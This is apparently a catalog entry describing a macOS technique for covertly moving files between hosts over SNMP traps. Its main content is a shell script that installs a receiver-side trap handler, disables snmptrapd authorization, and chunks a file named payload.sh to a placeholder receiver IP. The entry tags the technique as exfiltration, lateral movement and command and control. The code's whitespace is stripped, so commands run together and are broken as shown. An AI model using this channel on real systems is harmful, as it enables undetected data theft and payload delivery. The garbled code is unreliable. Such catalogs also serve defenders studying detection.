This technique assumes both the sender and receiver are macOS hosts. Files are base64-encoded and sent as a sequence of SNMP traps carrying chunked data under a custom OID (1.3.6.1.4.1.99999). Three message types are used - FILENAME signals the start of a transfer, DATA carries each base64 chunk, and END triggers reassembly. snmptrapd on the receiver routes all traps to a handler script that writes, reassembles, and decodes the chunks using macOS-native base64 and md5 utilities. The resulting file is verified with an MD5 hash.
# On receiver: install trap handler scriptsudotee/usr/local/bin/trap_handler.sh>/dev/null<<'EOF'#!/bin/bashTRANSFER_DIR="/tmp/snmp_transfers"STATE_FILE="/tmp/snmp_transfer_state"mkdir-p"$TRANSFER_DIR"whilereadline;doifecho"$line"|grep-q"SNMPv2-SMI::enterprises.99999.1";thenDATA=$(echo"$line"|sed's/.*"\(.*\)"/\1/')if[["$DATA"==FILENAME:*]];thenFILENAME="${DATA#FILENAME:}"echo"$FILENAME">"$STATE_FILE">"${TRANSFER_DIR}/${FILENAME}.b64"elif[["$DATA"==DATA:*]];thenif[-f"$STATE_FILE"];thenFILENAME=$(cat"$STATE_FILE")CHUNK="${DATA#DATA:}"echo-n"$CHUNK">>"${TRANSFER_DIR}/${FILENAME}.b64"fielif[["$DATA"=="END"]];thenif[-f"$STATE_FILE"];thenFILENAME=$(cat"$STATE_FILE")base64-D<"${TRANSFER_DIR}/${FILENAME}.b64">"${TRANSFER_DIR}/${FILENAME}"echo"MD5: $(md5 -q "${TRANSFER_DIR}/${FILENAME}")"rm"${TRANSFER_DIR}/${FILENAME}.b64"rm"$STATE_FILE"fififidoneEOFsudochmod+x/usr/local/bin/trap_handler.sh# On receiver: configure snmptrapd to route traps to the handler and start itsudotee/etc/snmp/snmptrapd.conf>/dev/null<<'EOF'disableAuthorizationyestraphandledefault/usr/local/bin/trap_handler.shEOFsudosnmptrapd-f-Lo# On sender: transmit file in chunksFILE_PATH="/tmp/payload.sh"RECEIVER_IP="<RECEIVER_IP>"CHUNK_SIZE=1000BASE64_DATA=$(base64<"$FILE_PATH")FILE_NAME=$(basename"$FILE_PATH")snmptrap-v2c-cpublic"$RECEIVER_IP"''1.3.6.1.4.1.999991.3.6.1.4.1.99999.1s"FILENAME:$FILE_NAME"echo"$BASE64_DATA"|fold-w$CHUNK_SIZE|whilereadchunk;dosnmptrap-v2c-cpublic"$RECEIVER_IP"''1.3.6.1.4.1.999991.3.6.1.4.1.99999.1s"DATA:$chunk"sleep0.1donesnmptrap-v2c-cpublic"$RECEIVER_IP"''1.3.6.1.4.1.999991.3.6.1.4.1.99999.1s"END"
Evidence
Upstream reference
Environment
Local host
Compatibility
Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.
Native
Lateral Movement, Exfiltration, Command and Control
Detection
No detections at time of publishing: No detections at time of publishing